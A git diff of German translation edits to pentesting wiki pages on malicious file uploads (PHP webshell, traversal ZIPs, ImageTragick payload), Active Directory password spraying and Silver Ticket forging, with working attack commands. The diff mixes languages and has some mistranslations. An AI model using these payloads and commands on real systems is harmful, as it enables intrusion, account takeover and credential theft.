- Upload des \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) Inhalts, um zu prüfen, ob der Server ein **antivirus** hat
- Prüfe, ob es eine **Größenbeschränkung** beim Upload von Dateien gibt
+- Speziell gestaltete PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten injiziert, um JS-Ausführung zu erreichen**](../xss-cross-site-scripting/pdf-injection.md). Wenn du PDFs hochladen kannst, könntest du ein PDF vorbereiten, das gemäß den angegebenen Hinweisen beliebiges JS ausführt.
+- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content, um zu prüfen, ob der Server irgendeine **antivirus**-Lösung hat
+- Prüfe, ob es eine **Größenbegrenzung** beim Hochladen von Dateien gibt

-Hier ist eine Top-10-Liste von Dingen, die du durch Upload erreichen kannst (von [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
+Hier ist eine Top-10-Liste von Dingen, die du durch Upload erreichen kannst (von [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):

 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
 2. **SVG**: Stored XSS / SSRF / XXE
@ -204,39 +204,39 @@ Hier ist eine Top-10-Liste von Dingen, die du durch Upload erreichen kannst (von
 https://github.com/portswigger/upload-scanner
 {{#endref}}

-## Magic Header Bytes
+## Magische Header-Bytes

 - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
 - **JPG**: `"\xff\xd8\xff"`

-Siehe [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) für andere Dateitypen.
+Siehe [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) für weitere Dateitypen.

-## Zip/Tar File Automatically decompressed Upload
+## Zip/Tar-Datei, die automatisch entpackt wird

-Wenn du eine ZIP hochladen kannst, die auf dem Server dekomprimiert wird, kannst du zwei Dinge tun:
+Wenn du eine ZIP hochladen kannst, die auf dem Server entpackt wird, kannst du zwei Dinge tun:

 ### Symlink

-Upload eines Archives, das soft links zu anderen Dateien enthält; beim Zugriff auf die dekomprimierten Dateien greifst du auf die verlinkten Dateien zu:
+Lade einen Link hoch, der soft links zu anderen Dateien enthält; beim Zugriff auf die entpackten Dateien greifst du auf die verlinkten Dateien zu:
 ```
 ln -s ../../../index.php symindex.txt
 zip --symlinks test.zip symindex.txt
 tar -cvf test.tar symindex.txt
 ```
-### In verschiedene Ordner entpacken
+### In verschiedene Ordner dekomprimieren

-Die unerwartete Erstellung von Dateien in Verzeichnissen während des Dekomprimierens ist ein erhebliches Problem. Trotz der anfänglichen Annahme, dass diese Konfiguration gegen OS-level command execution durch malicious file uploads schützen könnte, können die hierarchische Kompressionsunterstützung und die directory traversal-Fähigkeiten des ZIP archive format ausgenutzt werden. Dadurch können Angreifer Einschränkungen umgehen und aus sicheren upload directories ausbrechen, indem sie die decompression functionality der angegriffenen Anwendung manipulieren.
+Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekomprimierung ist ein erhebliches Problem. Trotz der anfänglichen Annahme, dass diese Konfiguration OS-level command execution durch malicious file uploads verhindern könnte, lassen sich die hierarchische Komprimierungsunterstützung und die directory traversal-Fähigkeiten des ZIP archive format ausnutzen. Dadurch können Angreifer Einschränkungen umgehen und aus sicheren Upload-Verzeichnissen entkommen, indem sie die Dekomprimierungsfunktionalität der Zielanwendung manipulieren.

-Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Das Tool kann wie folgt verwendet werden:
+Ein automatisierter Exploit zum Erstellen solcher Dateien ist unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) verfügbar. Das Tool kann wie folgt verwendet werden:
 ```python
 # Listing available options
 python2 evilarc.py -h
 # Creating a malicious archive
 python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 ```
-Außerdem ist der **symlink trick with evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzugreifen, sollte ein Symlink zu dieser Datei auf Ihrem System erstellt werden. Dadurch treten während der Ausführung von evilarc keine Fehler auf.
+Zusätzlich ist der **symlink trick with evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzuvisieren, sollte ein symlink zu dieser Datei in Ihrem System erstellt werden. Das stellt sicher, dass evilarc während seiner Ausführung nicht auf Fehler stößt.

-Nachfolgend ein Beispiel für Python-Code, der verwendet wird, um eine bösartige ZIP-Datei zu erstellen:
+Nachfolgend ein Beispiel für Python code, das verwendet wird, um eine malicious zip file zu erstellen:
 ```python
 #!/usr/bin/python
 import zipfile
@ -254,11 +254,11 @@ zip.close()

 create_zip()
 ```
-**Komprimierung zum file spraying missbrauchen**
+**Komprimierung zum file spraying ausnutzen**

-Für weitere Details **siehe den Originalpost unter**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
+Für weitere Details **siehe den Originalbeitrag**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)

-1.  **Erstellen einer PHP-Shell**: PHP-Code wird geschrieben, um Befehle auszuführen, die über die `$_REQUEST`-Variable übergeben werden.
+1.  **Creating a PHP Shell**: PHP-Code wird geschrieben, um Befehle auszuführen, die über die `$_REQUEST`-Variable übergeben werden.

 ```php
 <?php
@ -268,14 +268,14 @@ system($cmd);
 }?>
 ```

-2.  **File Spraying und Erstellung eines komprimierten Archivs**: Mehrere Dateien werden erstellt und ein zip-Archiv wird zusammengestellt, das diese Dateien enthält.
+2.  **File Spraying and Compressed File Creation**: Mehrere Dateien werden erstellt und ein zip-Archiv mit diesen Dateien angelegt.

 ```bash
 root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
 root@s2crew:/tmp# zip cmd.zip xx*.php
 ```

-3.  **Änderung mit Hex-Editor oder vi**: Die Namen der Dateien im Zip werden mit vi oder einem Hex-Editor geändert, wobei "xxA" in "../" geändert wird, um Verzeichnisse zu traversieren.
+3.  **Modification with a Hex Editor or vi**: Die Namen der Dateien im zip werden mit vi oder einem Hex-Editor verändert, indem "xxA" zu "../" geändert wird, um Verzeichnisse zu traversieren.

 ```bash
 :set modifiable
@ -285,7 +285,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php

 ## ImageTragic

-Lade diesen Inhalt mit einer Bild-Dateiendung hoch, um die vulnerability auszunutzen **(ImageMagick, 7.0.1-1)** (aus dem [exploit](https://www.exploit-db.com/exploits/39767))
+Lade diesen Inhalt mit einer Bild-Erweiterung hoch, um die Schwachstelle auszunutzen **(ImageMagick , 7.0.1-1)** (aus dem [exploit](https://www.exploit-db.com/exploits/39767))
 ```
 push graphic-context
 viewbox 0 0 640 480
@ -294,29 +294,29 @@ pop graphic-context
 ```
 ## Einbetten einer PHP Shell in PNG

-Das Einbetten einer PHP Shell in den IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungs-Operationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` von PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig zum Verkleinern bzw. Resampling von Bildern verwendet werden. Dass die eingebettete PHP Shell von diesen Operationen unberührt bleiben kann, ist für bestimmte Anwendungsfälle ein deutlicher Vorteil.
+Das Einbetten einer PHP Shell in den IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie üblicherweise zum Skalieren bzw. Resampling von Bildern verwendet werden. Dass die eingebettete PHP Shell von diesen Operationen unbeeinträchtigt bleibt, ist für bestimmte Anwendungsfälle ein deutlicher Vorteil.

-Eine detaillierte Untersuchung dieser Technik, einschließlich Methodik und möglicher Anwendungen, findet sich im folgenden Artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.
+Eine detaillierte Untersuchung dieser Technik, einschließlich Methodik und möglicher Anwendungsfälle, findet sich in folgendem Artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.

 Mehr Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)

-## Polyglot Files
+## Polyglot-Dateien

-Polyglot files dienen im Bereich der Cybersicherheit als Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig sein können. Ein interessantes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien beschränken sich nicht auf dieses Paar; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
+Polyglot-Dateien sind ein einzigartiges Werkzeug in der Cybersicherheit und funktionieren wie Chamäleons, da sie gleichzeitig in mehreren Dateiformaten gültig sein können. Ein interessantes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), eine Hybriddatei, die sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien beschränken sich nicht auf dieses Paar; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.

-Der Hauptnutzen von polyglot files liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien nach Typ filtern. Gängige Praxis in vielen Anwendungen ist es, nur bestimmte Dateitypen zum Hochladen zuzulassen — etwa JPEG, GIF oder DOC — um das Risiko durch potenziell gefährliche Formate (z. B. JS, PHP oder Phar) zu verringern. Ein Polyglot kann jedoch, da er die strukturellen Kriterien mehrerer Dateitypen erfüllt, diese Beschränkungen unauffällig umgehen.
+Der Kernnutzen von Polyglot-Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien anhand ihres Typs prüfen. In vielen Anwendungen werden nur bestimmte Dateitypen zum Upload erlaubt — z. B. JPEG, GIF oder DOC — um das Risiko potenziell gefährlicher Formate (z. B. JS, PHP oder Phar) zu reduzieren. Ein Polyglot, der die strukturellen Kriterien mehrerer Dateitypen erfüllt, kann diese Beschränkungen unauffällig umgehen.

-Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Zum Beispiel kann ein Polyglot zwar gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG darstellen, der Erfolg des Uploads hängt jedoch von den Richtlinien der Plattform bezüglich Dateiendungen ab. Wenn das System strikte Vorgaben für erlaubte Extensions hat, reicht die rein strukturelle Dualität eines Polyglot möglicherweise nicht aus, um den Upload sicherzustellen.
+Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Beispielsweise kann ein Polyglot zwar gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG darstellen, der Erfolg des Uploads hängt jedoch oft von den Richtlinien bzgl. Dateierweiterungen der Plattform ab. Ist das System streng bei erlaubten Extensions, reicht die strukturelle Dualität eines Polyglots möglicherweise nicht aus, um den Upload zu gewährleisten.

 Mehr Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)

-### Upload valid JSONs like if it was PDF
+### Gültige JSONs hochladen, als wären sie PDF

-Wie man Dateityp-Erkennungen umgeht, indem man eine gültige JSON-Datei hochlädt, selbst wenn dies nicht erlaubt ist, indem man sie als PDF fälscht (Techniken aus **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
+Wie man Dateityp-Erkennungen umgeht, indem man eine gültige JSON-Datei hochlädt, obwohl das nicht erlaubt ist, indem man sie als PDF vortäuscht (Techniken aus **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):

- **`mmmagic` library**: Solange die `%PDF` magic bytes in den ersten 1024 bytes sind, ist es valid (get example from post)
- **`pdflib` library**: Add a fake PDF format inside a filed of the JSON so the library thinks it’s a pdf (get example from post)
- **`file` binary**: It can read up to 1048576 bytes from a file. Just create a JSON bigger than that so it cannot parse the content as a json and then inside the JSON put the initial part of a real PDF and it’ll think it’s a PDF
+- **`mmmagic` library**: Solange die `%PDF` Magic-Bytes in den ersten 1024 Bytes stehen, gilt die Datei als gültig (Beispiel im Artikel)
+- **`pdflib` library**: Füge ein gefälschtes PDF-Format in ein Feld des JSON ein, sodass die Library denkt, es sei ein PDF (Beispiel im Artikel)
+- **`file` binary**: Es kann bis zu 1048576 Bytes aus einer Datei lesen. Erstelle einfach ein JSON, das größer ist als das, so dass es den Inhalt nicht als JSON parsen kann, und füge dann innerhalb des JSON den Anfangsteil eines echten PDFs ein — es wird es als PDF erkennen

 ## Referenzen

--- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md
+++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md
@ -2,6 +2,6 @@

 {{#include ../../banners/hacktricks-training.md}}

-**Siehe den großartigen Beitrag von:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
+**Schauen Sie sich den großartigen Beitrag an:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/windows-hardening/active-directory-methodology/password-spraying.md
+++ b/src/windows-hardening/active-directory-methodology/password-spraying.md
@ -5,16 +5,16 @@

 ## **Password Spraying**

-Sobald Sie mehrere **valid usernames** gefunden haben, können Sie mit jedem der entdeckten Benutzer die gebräuchlichsten **common passwords** ausprobieren (achten Sie auf die **password policy** der Umgebung).\
-Per **default** beträgt die **minimum** **password** **length** **7**.
+Sobald Sie mehrere **valid usernames** gefunden haben, können Sie bei jedem der entdeckten Benutzer die häufigsten **common passwords** ausprobieren (berücksichtigen Sie dabei die **password policy** der Umgebung).\
+By **default** the **minimum** **password** **length** is **7**.

-Listen mit common usernames können ebenfalls nützlich sein: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
+Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)

 Beachten Sie, dass Sie **could lockout some accounts if you try several wrong passwords** (by default more than 10).

 ### Get password policy

-Wenn Sie Benutzer-Credentials oder eine Shell als Domain-Benutzer haben, können Sie **get the password policy with**:
+Wenn Sie über user credentials oder eine shell als domain user verfügen, können Sie **get the password policy with**:
 ```bash
 # From Linux
 crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,9 +31,9 @@ net accounts

 (Get-DomainPolicy)."SystemAccess" #From powerview
 ```
-### Exploitation von Linux (oder allen)
+### Ausnutzung von Linux (oder allgemein)

- Mit **crackmapexec:**
+- Verwendung von **crackmapexec:**
 ```bash
 crackmapexec smb <IP> -u users.txt -p passwords.txt
 # Local Auth Spray (once you found some local admin pass or hash)
@ -47,11 +47,11 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
 # Brute-Force
 ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
 ```
- [**spray**](https://github.com/Greenwolf/Spray) _**(Sie können die Anzahl der Versuche angeben, um Sperrungen zu vermeiden):**_
+- [**spray**](https://github.com/Greenwolf/Spray) _**(du kannst die Anzahl der Versuche angeben, um Sperrungen zu vermeiden):**_
 ```bash
 spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
 ```
- Verwendung von [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NICHT EMPFOHLEN, FUNKTIONIERT MANCHMAL NICHT
+- Verwendung von [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NICHT EMPFOHLEN; FUNKTIONIERT MANCHMAL NICHT
 ```bash
 python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
 python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@ -67,9 +67,9 @@ for u in $(cat users.txt); do
 rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
 done
 ```
-#### Von Windows
+#### Unter Windows

- Mit einer [Rubeus](https://github.com/Zer1t0/Rubeus)-Version mit dem brute module:
+- Mit der [Rubeus](https://github.com/Zer1t0/Rubeus)-Version mit dem brute-Modul:
 ```bash
 # with a list of users
 .\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,7 +77,7 @@ done
 # check passwords for all users in current domain
 .\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
 ```
- Mit [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Es kann standardmäßig Benutzer aus der Domäne erzeugen, liest die Passwort-Richtlinie aus der Domäne und begrenzt die Anzahl der Versuche entsprechend.)
+- Mit [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Es kann standardmäßig Benutzer aus der Domäne generieren, die Passwortrichtlinie der Domäne abrufen und die Versuche entsprechend einschränken):
 ```bash
 Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
 ```
@ -85,12 +85,12 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
 ```
 Invoke-SprayEmptyPassword
 ```
-### Identifizieren und Übernehmen von "Password must change at next logon" Accounts (SAMR)
+### Identifizieren und Übernehmen von "Password must change at next logon" Konten (SAMR)

-Eine geräuscharme Technik ist, ein benign/empty password zu sprayen und Accounts abzufangen, die STATUS_PASSWORD_MUST_CHANGE zurückgeben. Das zeigt an, dass das Passwort zwangsweise abgelaufen ist und ohne Kenntnis des alten Passworts geändert werden kann.
+Eine geräuscharme Technik besteht darin, ein harmloses/leeres Passwort zu sprayen und Konten zu erfassen, die STATUS_PASSWORD_MUST_CHANGE zurückgeben. Das weist darauf hin, dass das Passwort zwangsweise abgelaufen ist und ohne Kenntnis des alten Passworts geändert werden kann.

-Ablauf:
- Benutzer enumerieren (RID brute via SAMR), um die Zielliste zu erstellen:
+Workflow:
+- Benutzer enumerieren (RID brute via SAMR), um die Zielliste aufzubauen:

 {{#ref}}
 ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
@ -99,12 +99,12 @@ Ablauf:
 # NetExec (null/guest) + RID brute to harvest users
 netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
 ```
- Spraye ein leeres Passwort und fahre bei Treffern fort, um Konten zu übernehmen, die bei der nächsten Anmeldung zur Passwortänderung gezwungen werden:
+- Spray ein leeres Passwort und mache bei hits weiter, um accounts zu erfassen, die beim next logon ihr Passwort ändern müssen:
 ```bash
 # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
 netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
 ```
- Für jeden Treffer das Passwort über SAMR mit NetExec’s Modul ändern (altes Passwort nicht erforderlich, wenn "must change" gesetzt ist):
+- Für jeden Treffer das Passwort über SAMR mit NetExec’s module ändern (kein altes Passwort erforderlich, wenn "must change" gesetzt ist):
 ```bash
 # Strong complexity to satisfy policy
 env NEWPASS='P@ssw0rd!2025#' ; \
@ -114,24 +114,24 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
 netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
 ```
 Betriebliche Hinweise:
- Stellen Sie sicher, dass die Uhr Ihres Hosts vor Kerberos-basierten Operationen mit dem DC synchronisiert ist: `sudo ntpdate <dc_fqdn>`.
- Ein [+] ohne (Pwn3d!) in einigen Modulen (z.B. RDP/WinRM) bedeutet, dass die creds gültig sind, das Konto jedoch keine Rechte für interaktives Anmelden hat.
+- Stellen Sie sicher, dass die Systemzeit Ihres Hosts vor Kerberos-basierten Operationen mit dem DC synchronisiert ist: `sudo ntpdate <dc_fqdn>`.
+- Ein [+] ohne (Pwn3d!) in einigen Modulen (z. B. RDP/WinRM) bedeutet, dass die creds gültig sind, aber das Konto keine Rechte für interaktives Anmelden besitzt.

 ## Brute Force
 ```bash
 legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
 ```
-### Kerberos pre-auth spraying mit LDAP-Targeting und PSO-aware Throttling (SpearSpray)
+### Kerberos pre-auth spraying mit LDAP targeting und PSO-aware throttling (SpearSpray)

-Kerberos pre-auth–based spraying reduziert das Rauschen gegenüber SMB/NTLM/LDAP-Bind-Versuchen und richtet sich besser nach AD-Lockout-Policies. SpearSpray koppelt LDAP-gesteuertes Targeting, eine Pattern-Engine und Policy-Awareness (domain policy + PSOs + badPwdCount buffer), um präzise und sicher zu sprühen. Es kann außerdem kompromittierte Principals in Neo4j markieren, um Pfade in BloodHound nachzuzeichnen.
+Kerberos pre-auth–based spraying reduziert Rauschen im Vergleich zu SMB/NTLM/LDAP bind-Versuchen und passt besser zu AD lockout policies. SpearSpray koppelt LDAP-driven targeting, eine pattern engine und policy awareness (domain policy + PSOs + badPwdCount buffer), um präzise und sicher zu sprayen. Es kann auch kompromittierte principals in Neo4j für BloodHound pathing taggen.

 Key ideas:
- LDAP user discovery mit Paging und LDAPS-Unterstützung, optional mit benutzerdefinierten LDAP-Filtern.
- Domain lockout policy + PSO-aware Filterung, um einen konfigurierbaren Versuchspuffer (threshold) zu lassen und zu vermeiden, dass Benutzer gesperrt werden.
- Kerberos pre-auth Validierung unter Verwendung schneller gssapi bindings (erzeugt 4768/4771 auf DCs statt 4625).
- Musterbasierte, pro-Benutzer Passwortgenerierung unter Verwendung von Variablen wie Namen und zeitlichen Werten, abgeleitet aus dem pwdLastSet jedes Benutzers.
- Durchsatzkontrolle mit Threads, Jitter und max requests per second.
- Optionale Neo4j-Integration zum Markieren übernommener Benutzer für BloodHound.
+- LDAP user discovery mit Paging und LDAPS-Unterstützung, optional mit custom LDAP-Filtern.
+- Domain lockout policy + PSO-aware filtering, um einen konfigurierbaren Attempt-Buffer (threshold) zu belassen und Lockouts von Benutzern zu vermeiden.
+- Kerberos pre-auth Validation mittels schneller gssapi bindings (erzeugt 4768/4771 auf DCs statt 4625).
+- Pattern-basierte, pro-user Passwortgenerierung mit Variablen wie Namen und zeitlichen Werten, abgeleitet aus dem pwdLastSet jedes Benutzers.
+- Throughput-Kontrolle mit threads, jitter und max requests pro Sekunde.
+- Optionale Neo4j-Integration, um owned users für BloodHound zu markieren.

 Basic usage and discovery:
 ```bash
@ -165,7 +165,7 @@ Neo4j/BloodHound Anreicherung:
 ```bash
 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
 ```
-Übersicht des Pattern-Systems (patterns.txt):
+Übersicht über das Pattern-System (patterns.txt):
 ```text
 # Example templates consuming per-user attributes and temporal context
 {name}{separator}{year}{suffix}
@ -176,15 +176,15 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
 ```
 Verfügbare Variablen umfassen:
 - {name}, {samaccountname}
- Zeitbasierte Werte aus pwdLastSet (oder whenCreated) jedes Benutzers: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Kompositions-Helfer und Org-Token: {separator}, {suffix}, {extra}
+- Zeitbezogen aus pwdLastSet (oder whenCreated) jedes Benutzers: {year}, {short_year}, {month_number}, {month_en}, {season_en}
+- Kompositionshelfer und Organisations-Token: {separator}, {suffix}, {extra}

 Betriebliche Hinweise:
- Bevorzuge Abfragen des PDC-emulator mit -dc, um den maßgeblichsten badPwdCount und richtlinienbezogene Informationen zu lesen.
- Resets von badPwdCount werden beim nächsten Versuch nach dem Beobachtungsfenster ausgelöst; nutze Schwellenwerte und Timing, um sicher zu bleiben.
- Kerberos pre-auth attempts sind in der DC-Telemetrie als 4768/4771 sichtbar; verwende Jitter und Rate-Limiting, um dich anzupassen.
+- Bevorzugen Sie das Abfragen des PDC-emulators mit -dc, um den autoritativsten badPwdCount und policy-bezogene Informationen auszulesen.
+- Resets von badPwdCount werden beim nächsten Versuch nach dem Beobachtungsfenster ausgelöst; verwenden Sie Schwellenwerte und Timing, um sicher zu bleiben.
+- Kerberos pre-auth attempts erscheinen als 4768/4771 in DC-Telemetrie; verwenden Sie Jitter und Rate-Limiting, um sich anzupassen.

-> Tipp: SpearSpray’s default LDAP page size ist 200; passe bei Bedarf mit -lps an.
+> Tipp: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.

 ## Outlook Web Access

@ -192,11 +192,11 @@ Es gibt mehrere Tools für p**assword spraying outlook**.

 - Mit [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
 - Mit [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- Mit [Ruler](https://github.com/sensepost/ruler) (reliable!)
+- Mit [Ruler](https://github.com/sensepost/ruler) (zuverlässig!)
 - Mit [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
 - Mit [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)

-Um eines dieser Tools zu verwenden, benötigen Sie eine Benutzerliste und ein Passwort / eine kleine Liste von Passwörtern to spray.
+Um eines dieser Tools zu verwenden, benötigen Sie eine Benutzerliste und ein password bzw. eine kleine Liste von passwords, die gesprüht werden sollen.
 ```bash
 ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
 [x] Failed: larsson:Summer2020
--- a/src/windows-hardening/active-directory-methodology/silver-ticket.md
+++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md
@ -6,15 +6,15 @@

 ## Silver ticket

-Der **Silver Ticket**-Angriff beinhaltet die Ausnutzung von Service-Tickets in Active Directory (AD)-Umgebungen. Diese Methode basiert darauf, den **NTLM hash of a service account** zu erlangen, etwa eines computer account, um ein Ticket Granting Service (TGS)-Ticket zu fälschen. Mit diesem gefälschten Ticket kann ein Angreifer auf bestimmte Dienste im Netzwerk zugreifen und sich **als beliebiger Benutzer ausgeben**, wobei typischerweise administrative Rechte angestrebt werden. Es wird betont, dass die Verwendung von AES keys zum Fälschen von Tickets sicherer und weniger erkennbar ist.
+Der **Silver Ticket**-Angriff beinhaltet die Ausnutzung von Service-Tickets in Active Directory (AD)-Umgebungen. Diese Methode beruht darauf, den **NTLM hash eines service account**, beispielsweise eines computer account, zu erlangen, um ein Ticket Granting Service (TGS)-Ticket zu fälschen. Mit diesem gefälschten Ticket kann ein Angreifer auf bestimmte Dienste im Netzwerk zugreifen und sich als beliebiger Benutzer ausgeben, typischerweise mit dem Ziel administrativer Privilegien. Es wird betont, dass die Verwendung von AES keys zum Fälschen von Tickets sicherer und weniger detektierbar ist.

 > [!WARNING]
-> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user.
-> Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service.
+> Silver Tickets sind weniger detektierbar als Golden Tickets, weil sie nur den **hash of the service account** benötigen, nicht das krbtgt account. Allerdings sind sie auf den spezifischen Dienst beschränkt, den sie angreifen. Außerdem reicht es, einfach das Passwort eines Benutzers zu stehlen.
+> Wenn du das **account's password with a SPN** kompromittierst, kannst du dieses Passwort verwenden, um einen Silver Ticket zu erstellen, der sich gegenüber diesem Dienst als beliebiger Benutzer ausgibt.

 For ticket crafting, different tools are employed based on the operating system:

-### Unter Linux
+### On Linux
 ```bash
 python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
 export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
@ -37,11 +37,11 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
 # Obtain a shell
 .\PsExec.exe -accepteula \\<TARGET> cmd
 ```
-Der CIFS-Dienst wird als häufiges Ziel hervorgehoben, um auf das Dateisystem des Opfers zuzugreifen, aber andere Dienste wie HOST und RPCSS können ebenfalls für Aufgaben und WMI-Abfragen ausgenutzt werden.
+Der CIFS-Dienst wird als häufiges Ziel hervorgehoben, um auf das Dateisystem des Opfers zuzugreifen, aber andere Dienste wie HOST und RPCSS können ebenfalls für Tasks und WMI-Abfragen ausgenutzt werden.

 ### Beispiel: MSSQL service (MSSQLSvc) + Potato to SYSTEM

-Wenn Sie den NTLM-Hash (oder AES key) eines SQL service account (z. B. sqlsvc) haben, können Sie ein TGS für den MSSQL SPN fälschen und sich gegenüber dem SQL service als beliebiger Benutzer ausgeben. Von dort aus aktivieren Sie xp_cmdshell, um Befehle als SQL service account auszuführen. Wenn dieses Token SeImpersonatePrivilege besitzt, nutzen Sie eine Potato, um auf SYSTEM zu erhöhen.
